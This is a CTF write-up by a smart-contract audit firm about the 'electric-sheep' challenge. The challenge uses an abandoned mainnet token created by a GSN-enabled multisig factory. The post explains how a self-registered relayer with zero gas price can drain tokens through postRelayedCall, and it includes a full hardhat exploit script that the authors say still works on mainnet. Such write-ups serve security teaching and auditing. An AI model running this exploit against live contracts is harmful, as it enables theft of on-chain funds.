Stealing gas tokens from the GSN-enabled MultiSig

During August 20-21 we've collaborated with our friends Vlad Isenbaev and Hexens and participated in one of the world hardest smart contract security audit competitions — Paradigm CTF.

We've been quite successful and finished 2nd, surpassing over 400 other teams!

The challenges featured Ethereum Solidity, Cairo, and Solana Rust smart contracts and contained various cryptographic and DeFi-specific vulnerabilities.

One of the tasks called "electric-sheep" authored by a prominent researcher samczsun was particularly interesting. We were one of only 4 teams to solve it.

The setup

Here's the intro of the challenge:

Here's how the setup contract for this challenge looks like:

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.16;

interface ERC20Like {
    function balanceOf(address) external view returns (uint);
}

contract Setup {
    ERC20Like public immutable DREAMERS = ERC20Like(0x1C4d5CA50419f94fc952a20DdDCDC4182Ef77cdF);

    function isSolved() external view returns (bool) {
        return DREAMERS.balanceOf(address(this)) > 16 ether;
    }
}

No other code has been provided. As can be seen from above, the goal of this challenge is to somehow transfer 16 ether worth of tokens to the Setup contract.

Most of the challenges, including this one, were deployed on the forked mainnet. The players get equiped with 5000 ether in the forked network. Here, however, the target contract (token) in question itself has been already deployed on the mainnet several years ago: https://etherscan.io/address/0x1C4d5CA50419f94fc952a20DdDCDC4182Ef77cdF#code.

Etherscan tracks the token as name CryptoDreamers Token (CRDRT):

The contract hasn't been used for a few years and doesn't have source code published.

Quick googling gives a hint that the token has been used by Multis gasless multisig contracts as a collateral for the fees payment in the Gas Station Network (GSN).

This means that the company owning a multisig could deposit ether to Multis who minted the CRDRT tokens and deposited ether to GSN. As a result, the multisig users could do gasless transactions via the GSN relayers.

Analysis

Decompiling the bytecode isn't much fun, let's take a look at the contract creation transaction in Tenderly. There we can see that the CRDRT token contract has been created by another contract:

The parent contract is GSNMultiSigFactory which inherits from GSNRecipientERC20Fee and is located at the upgradable proxy address. The source code for the contract implementation can be seen on Etherscan.

This contract spawned CRDRT token contract during initialization and can be used to create the GSN-enabled multisig wallets.

GSN-relayed transactions work roughly in the following way:

  1. A user signs the transaction and passes it to the relayer (the relayer's address and nonce are also signed),
  2. The relayer calls the view function acceptRelayedCall in the target contract to check if it will accept the requested call,
  3. The relayer calls the function preRelayedCall in the target contract (e.g. to trigger the payment for the gas),
  4. The relayer calls the target contract with the specified calldata carrying along the gas fees,
  5. The relayer calls the function postRelayedCall in the target contract (e.g. to return the dust tokens paid for the gas).

Vulnerabilities

First thing to notice about the CRDRT token (implemented by the __unstable__ERC20PrimaryAdmin contract) itself is that there's a variable primary that contains the address of the GSNMultiSigFactory contract. This primary contract can do pretty much anything and also anyone can transfer someone's tokens to the primary address:

If we look at the GSNMultiSigFactory, we can see that the only place where the CRDRT tokens get transfered somewhere outside is the change return procedure in the _postRelayedCall internal callback function implementation:

Note that the callback functions contain the following check ensuring that the calls come only from the relay hub:

require(msg.sender == getHubAddr(), "GSNRecipient: caller is not RelayHub");

Clearly, the relay hub could use this to drain all the funds from the primary contract, and this is actually the main vulnerability.

However, the designated GSN RelayHub contract allows public relayer registration that requires staking. This means that we can register ourselves as a relayer and request the hub to call the postRelayedCall callback and transfer all the funds from primary to us using the relayCall function in RelayHub that checks the signature and other conditions in canRelay and then calls recipientCallsAtomic.

All of this boils down to the following key points in the relayed call flow:

// check if the recipient has deposited enough
require(maxPossibleCharge(gasLimit, gasPrice, transactionFee) <= balances[recipient], "Recipient balance too low");

. . .

// check the signature
bytes memory packed = abi.encodePacked("rlx:", from, to, encodedFunction, transactionFee, gasPrice, gasLimit, nonce, address(this));
bytes32 hashedMessage = keccak256(abi.encodePacked(packed, relay));

if (hashedMessage.toEthSignedMessageHash().recover(signature) != from) {
  return (uint256(PreconditionCheck.WrongSignature), "");
}

. . .

// Verify the transaction is not being replayed
if (nonces[from] != nonce) {
  return (uint256(PreconditionCheck.WrongNonce), "");
}

uint256 maxCharge = maxPossibleCharge(gasLimit, gasPrice, transactionFee);
bytes memory encodedTx = abi.encodeWithSelector(IRelayRecipient(to).acceptRelayedCall.selector, relay, from, encodedFunction, transactionFee, gasPrice, gasLimit, nonce, approvalData, maxCharge);

(bool success, bytes memory returndata) = to.staticcall.gas(acceptRelayedCallMaxGas)(encodedTx);

if (!success) {
  return (uint256(PreconditionCheck.AcceptRelayedCallReverted), "");
}

. . .

// pre-relay call
(bool success, bytes memory retData) = recipient.call.gas(preRelayedCallMaxGas)(data);

. . .
// this is where we drain the funds
(atomicData.relayedCallSuccess,) = recipient.call.gas(gasLimit)(encodedFunctionWithFrom);

. . .

// post-relay call
data = abi.encodeWithSelector(IRelayRecipient(recipient).postRelayedCall.selector, recipientContext, atomicData.relayedCallSuccess, estimatedCharge, atomicData.preReturnValue);

But to do this we also need to pass the requirements enforced by all the callbacks and by the hub itself. Essentially, we need to pay the CRDRT instead of gas for the transactions but we don't have any tokens in the first place! Here's the relevant code:

However, we can just set the gas price to 0 since the relayers can control the gas parameters when making a relay call. This way, the maxPossibleCharge value will become 0 and the acceptRelayedCall check will pass!

Exploit

We need to get 16 ether worth of CRDRT tokens which we need to get somewhere. Luckily, total supply is over 42 and there're 2 holders that hold 20 tokens combined (one of them is actually primary):

To wrap this up, here's the self-explanatory code for the main exploit logic in hardhat:

// RelayerHub doesn't allow to stake for yourself,
// so we transfer 1 ether to another address to stake from
await this.user.sendTransaction({
  to: this.user2.address,
  value: ethers.utils.parseEther("1") // 1 ether
})

await hub.connect(this.user2).stake(
    this.user.address,
    7 * 2 * 86400,
    {
        value: ethers.utils.parseEther("1")
    }
)

// we've staked and now register a relay with transactionFee=0
await hub.registerRelay(0, 'https://decurity.io/')

// we use the bug to transfer one of the holder's tokens to the primary address
await cryptodreamers.transferFrom(
    '0xb21090c8f6bac1ba614a3f529aae728ea92b6487',
    primary.address,
    await cryptodreamers.balanceOf('0xb21090c8f6bac1ba614a3f529aae728ea92b6487')
)

// we construct the calldata for the relayed call that calls the callback,
// the callback itself also accepts the encoded context data
func =
    web3.eth.abi.encodeFunctionSignature('postRelayedCall(bytes,bool,uint256,bytes32)') +
    ethers.utils.defaultAbiCoder.encode(
        [ 'bytes', 'bool', 'uint256', 'bytes32' ],
        [
            ethers.utils.defaultAbiCoder.encode(
                [ 'address', 'uint256', 'uint256', 'uint256' ],
                [
                    this.user.address, // "from" is the call originator that needs to be refunded
                    await cryptodreamers.balanceOf(primary.address), // drain all balance
                    0, // transaction fee
                    0 // gas price
                ]
            ), // context
            true, // redundant
            0, // actual charge that gets subtracted from the returned value
            '0x0000000000000000000000000000000000000000000000000000000000000000' // redundant
        ]
    ).substring(2)

// now we get the current nonce and construct the value for signing
nonce = await hub.getNonce(this.user.address)

// abi.encodePacked("rlx:", from, to, encodedFunction, transactionFee, gasPrice, gasLimit, nonce, address(this));
tohash = web3.utils.encodePacked(
    {value: 'rlx:', type: 'string'},
    {value: this.user.address, type: 'address'},
    {value: primary.address, type: 'address'},
    {value: func, type: 'bytes'},
    {value: 0, type: 'uint256'},
    {value: 0, type: 'uint256'},
    {value: 123123, type: 'uint256'},
    {value: nonce, type: 'uint256'}, // nonce
    {value: hub.address, type: 'address'},
    {value: this.user.address, type: 'address'}
)

hashed = ethers.utils.arrayify(ethers.utils.keccak256(tohash))
signed = await this.user.signMessage(hashed)

// pwn!
await hub.relayCall(
  this.user.address, // from
  primary.address, // recipient
    func, // encoded function
    0, // fee
    0, // gas price
    123123, // gas limit
    nonce, // nonce
  signed, // signature
  '0x00' // redundant approval data
)

// now transfer all the tokens to the Setup contract
await cryptodreamers.transfer(
    setup.address,
    await cryptodreamers.balanceOf(this.user.address)
)

Conclusion

Warning: at the time of writing, this could be exploited on the mainnet. There's no real impact because the contract is abandoned and the tokens are worthless, but still, this is not something you should do!

Anyway, this was a fun experience of auditing a real protocol on mainnet and exploiting the vulnerability during the CTF competition. Thanks to the organizers!

If you want your smart contracts to be audited by us, feel free to get in touch via the website form or the email sales@decurity.io. We implement the same competitive and thorough approach during our audits to deliver the high-risk exploitable issues in the reports.